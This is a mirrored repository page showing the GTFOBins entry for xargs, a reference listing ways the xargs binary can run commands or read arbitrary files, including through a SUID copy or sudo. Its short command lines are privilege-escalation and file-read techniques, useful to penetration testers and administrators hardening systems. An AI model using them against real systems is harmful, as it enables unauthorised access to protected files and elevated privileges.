This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-07 00:01:33 +01:00
Code
Issues
e13e0a5cdd
GTFOBins.github.io
/
_gtfobins
/
xargs.md
Emilio Pinna
d6895f367d
Reorder functions in binaries
2018-07-04 19:26:52 +01:00
479 B
Raw
Blame
History
functions
execute-non-interactive
file-read
suid-enabled
sudo-enabled
code
xargs -a /dev/null /usr/bin/id
description
code
This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
LFILE=file_to_read xargs -a "$LFILE" -0
code
./xargs -a /dev/null /usr/bin/id
code
sudo xargs -a /dev/null /usr/bin/id